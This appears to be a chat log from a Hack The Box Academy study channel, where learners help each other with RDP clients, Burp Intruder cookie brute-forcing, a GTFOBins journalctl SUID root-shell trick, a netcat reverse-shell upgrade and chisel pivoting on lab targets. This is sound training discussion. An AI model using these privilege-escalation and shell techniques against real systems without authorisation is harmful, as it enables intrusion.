freerdp3-shadow-x11 3.5.1+dfsg1-5~bpo12+1
freerdp2-x11 2.10.0+dfsg1-1
freerdp2-shadow-x11 2.10.0+dfsg1-1
You should explicitly select one to install.
E: Package 'freerdp' has no installation candidate
to do the windows fundamentals i need to installl xfreerdp to my parrot os is there one i should get for the module
sudo apt install aptitude
sudo aptitude install freerdp2-x11
might be smarter to do freerdp3-x11
but freerdp2 is the previous stable version
yes aptitude is different from apt
i just want what is needed to complete the lesson.
either one is fine
there's also rdesktop, or remmina
remmina or reminna has a GUI you can use instead of CLI
the course is wanting me to use this package
i forget the spelling
it's being showcased because it's the most common rdp tool for linux
ok so your stating it does not matter how i gain remote acces to the target. everything will work fine in the vpn
yep
rdp is rdp
¯_(ツ)_/¯
but the commands i gave you will install freerdp to be able to use xfreerdp
as stated by the error, part of the issue was you not specifying which freerdp you're referring to
@vague dust that lucky.php was fiddly but not too bad
Lol the RNG gods smiled upon you
haha had to repeat it loads of times but got it eventually
correct just didnt know if there were differnces in rdp
it's not a difference in rdp
it's a difference in package name
you should explicitly select one to install
but freerdp has always had issues installing with apt; so installing aptitude and installing via that tool works fine
Hoii
can someone help me with the Introduction To Splunk & SPL module?
@fathom pendant its failing i can not rdp into target
it's failing
very useful
you're missing something from the password
i also deleted the vpn download. dowloaded a vpn made a new connection just to make sure
jeez
also a tip with xfreerdp; /dynamic-resolution and /cert-ignore
dynamic-resolution lets you resize
ok that tip means nothing
and /cert-ignore well. ignores the cert error you see
Wow.
it means everything 
guys where to start with chemistry box
$xfreerdp /v:10.129.26.16 /u:htb-student /p:Academy_winFun!
[08:17:39:506] [44761:44762] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[08:17:39:506] [44761:44762] [ERROR][com.freerdp.core] - failed to connect to 10.129.26.16
@fathom pendant
I had the same issues using xfreerdp, I couldnt solve even with the additional options so I just used the website machine
reset your vm and try reconnecting
its not a vm. its my os
This is all over the place lol
then just restart your machine
I tried solving the errors and I was not getting any results, use the website vm if you can
¯_(ツ)_/¯
ok i will reboot
i've had very little issues with xfreerdp
also try putting the password in singlequotes (or at least get in the habit of that)
I'm having rdp problems in the AD attack modules, never had problems before
but the vm works, so I use the vm
I use xfreerdp /u:eagle\htb-student /p:Academy_winFun! /v:10.129.26.16
you shouldn't need to specify the Domain
Oh. Well it's worked for me since lol
hiii
as long as the domain is eagle, sure
but there's also other tools like rdesktop and remmina
iirc remmina is installed on parrot by default
if you want to talk about random stuff go to #general <--
I use the rdesktop when im logged into the target when it's windows lol
ok how do install this one. i am over freerpd
sudo apt install rdesktop; should be there by default iirc on parrot
no man came up
Control remote Windows 10 desktops through RDP connections using rdesktop in Linux .
thank you
I think it's naptime
Hiii,
I've got a problem with the skill assesment of the wi-fi penetration testing basics.
It seems that I'm not capable to see a lot of frames from the access point HTB.
I need to capture the EAPOL to actually crack the passphrase.
Does anyone had an idea of where the problem could came ?
@vague dust how do you get burp to brute force the last character of the cookie AND THEN encode the whole payload again
For the third question on https://academy.hackthebox.com/module/110/section/1055
add prefix
oh lawd i havent done that in a hot minute
it's in the payload options of intruder
and encoding you just do in reverse of how you decoded
@fathom pendant ok target window opens. then crashes
decode order: md5 --> b64 --> ascii
encode order: ascii --> b64 --> md5
i'm not staff or support
Need some help? Learn how to reach the support team on Academy.
ok. youve helped alot thank you
I wish you could read the modules on your phone
D: getting errors with burp and ZAP now where it can't find the site, but outside of the apps it can
Oh....is it on the web page lol
delays delays hehe
in the app settings of your mobile browser
for chrome it's 3 dots then scroll a bit in that menu
Ah gotcha. I'll just do that then thank you
i just use foxyproxy instead of the in-app browser
yeah i might do tha tinstead
you won't be able to use pwnbox or anything mind you
nice to avoid sending all browser traffic to proxy tho haha
ah its working now, needed a reboot for some reason
I didn't intend to. I'm on the networking module and that requires some reading. Thank you for the heads up
networking module is basic networking 101 stuff with some light maths involved
its the note taking that slows me down too i think
slow isn't bad
the AD one is 💀 a lot
true but trying to get CPTS done before the promotion cycle
¯_(ツ)_/¯
in feb, could mean an extra 30k
don't beat yourself up if you don't get it
@fathom pendant issue was resolved by full system shutdown. fyi
Yeah don't burn yourself up. I did that to myself doing the bug bounty oath
A reset you say?
iirc that was one of my first suggestions
Thanks got it, prefix then encode twice, i couldn't get my head around putting the wordlist in and putting the original cookie in and then encoding both again
i wasn't giving the exact order
ah ok
just an example
no worries, thanks again Marcielee
But you learned!
Did you refresh the page?
mine too
it rolled over to the new week
the timer is set in UTC
so when will it show the real number, it should be around 30
when you pay me $1000
aha
likely some backend bug
Only 1k?
results not guaranteed
Does anyone have the built in browser functionality for ZAP working correctly on a Debian based distro? As far as I can tell my selenium, geckodriver and firefox versions are compatible but I keep getting the 'the provided browser was not found error' when i try to launch firefox from ZAP.
unfortunately i have the same issue with chrome as well. starting firefox outside of zap, turning on foxyproxy , etc. works though. This just seems like something that should work considering mozilla sponsors the tool.
https://gtfobins.github.io/gtfobins/journalctl/
i can't get this to work
from Permission Management, Linux Fundamentals
"If the administrator sets the SUID bit to "journalctl," any user with access to this application could execute a shell as root. More information about this and other such applications can be found at GTFObins."
what are you trying to get working?
there's no questions or anything for this section
make sure journalctl has the proper (in this case improper) perms
SUID bit has to be set on journalctl.
manage to open a shell via journalctl, that's the risk
Doesn't mean that risk is gonna exist, especially on the pwnbox
so chmod u+s /usr/bin/journalctl
because the suid bit is not set?
Bingo
@waxen totem @dark hedge @fathom pendant didn't work
o wait I'm high
Just ./journalctl.sh
On your script
permission denied
Does it have the execution bit enabled?
no mb
Also you're misinterpreting what gtfobins is saying
Just run journalctl, then do !/bin/sh
i tried that tho
but before i added the s bit
doesn't work, I can't write the ! at the start
yea there's too much to learn,
i think the problem is i can't open a command
when i write /bin/sh it tried to match with logs
!/bin/sh one line
In most things ! tells the program to run a local system command instead of internal command
someone here who can help me with last question kerberos Attacks Skill Assessment?
just tried it, can confirm, it's weird,
it's unlikely to run into anyway ¯_(ツ)_/¯
You'd need to ask the question first, without any spoiler about the exercise
What's the content of the file: \DC01\Secret Share\flag.txt?
you finished it already?
You'll have to find that out....
I haven't done the Kerberos Attacks modules but someone might have
cant share answers on the modules folks 🙂
did you finish it?^^
finish what? im not up to speed on this channel since it is very active >_>
if someone here can help me out with the Kerberos Attacks Skill Assessment on the last question just hit me up pls 😄
what module is it?
The Kerberos Attacks module. They want to know the contents of the flag.txt file
oooooooh. i dont even have that module unlocked lol
I'm working on the Conditional Execution module for the "Introduction to Bash Scripting" section and I am running into a wall answering the question. I've looked around and I seem to be getting the same answer other people are, but they're also saying it isn't working.
Question: "Create an "If-Else" condition in the "For"-Loop of the "Exercise Script" that prints you the number of characters of the 35th generated value of the variable "var". Submit the number as the answer."
||`#!/bin/bash
Count number of characters in a variable:
echo $variable | wc -c
Variable to encode
var="nef892na9s1p9asn2aJs71nIsm"
for counter in {1..40}
do
var=$(echo $var | base64)
echo -e ${#var}
done`||
Its been a long time since I've done bash coding, so had to knock some rust off. I prefer Python
hadnle what? the suspension? how
You can handle the suspended process afterwards
most common use case for this is when you're spawning an interactive shell:
(kali)$ nc -lvnp 1337
connection from 10.10.10.10
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data$
ctrl+z
(kali)$ stty echo raw; fg
www-data$ export TERM=xterm
ctrl+z suspends the shell so you can change your terminal settings for a better shell experience, fg puts it back into use
jobs to see what's suspended
wow im actually interested in this networking module...weird
Hello can someone help me
i tried both and xfreerdp gives a black screen and rdesktop gives that credentials is wrong , also changed the vpn of PWNbox and all the same
xfreerdp /v:<ip> /u:htb-student /p:Academy_student_AD!
rdesktop -u htb-student -p Academy_student_AD! <ip>
are there any error messages when you xfreerdp?
in xfreerdp on the black screen press space.
wow
it worked
i get it that's for the blue screen before login , thank you @vague dust @cloud urchin
I'm having some trouble with my kali VM. It won't resolve an internet connection, and the only thing listed when I run ifconfig is the local host. Anyone have any tips?
bro, install vmtools again maybe it will help.
Dumb question, but just to clarify: you mean install it onto the host machine right?
make sure in your hypervisor you actually gave it a NIC
Mine looks like yours, it's a NAT
just try to install vmtools again.
or by going in virtual network editor just click on default setting.
Any ideas how this could have happened? The only changes I've made to the settings were to give it more memory (that was earlier today). Other than that, I haven't changed them for several months.
gremlins
I have three children. You might actually be more right than you realize.
Module: Pivoting, Tunneling, and Port Forwarding
Section: Remote/Reverse Port Forwarding with SSH
- Have done the SSH with Dynamic port forwarding successfully but when i do Host scan it shows me that all hosts are already up, have tried -Pn or -Ss scans also.
It's explained in the 'dynamic port forwarding with ssh and socsk tunneling' section
you can only perform full TCP connect scans over proxychains
Hi guys, AD enumeration skill assessment.
I can't get chisel reverse tunnel to get back to my attacker host.
the --reverse flag should do it, but I don't get where the issue lies..
The pivot is the machine on ip 172.16.6.100, and this internal network is on 172.16.6.50
a better overview of whats happening:
Aren’t you connecting to the .50 machine in the screenshot on the bottom right?
Ping often doesn’t work on windows machines so don’t rely on that
what is the output of /etc/proxychains4.conf the last line say?
should say socks5 127.0.0.1 1080
yeah, says the same
the proxychains connects me to the internal network
so its not the issue I assume
I wasn't able to Invoke-WebRequest too
The pivot (172.16.6.100) is giving my attacker host (10.10.16.6) access to the internal machine(172.16.6.50).
Using the --reverse flag on Chisel should get the internal machine be able to access my attacker host, or am I wrong?
looks like it's working to me
the pivot grants your host machine access to the private subnet that's normally not accessible to you
thanks man, i just forget about it
the end machine can't just connect to your machine, it has no route to your machine

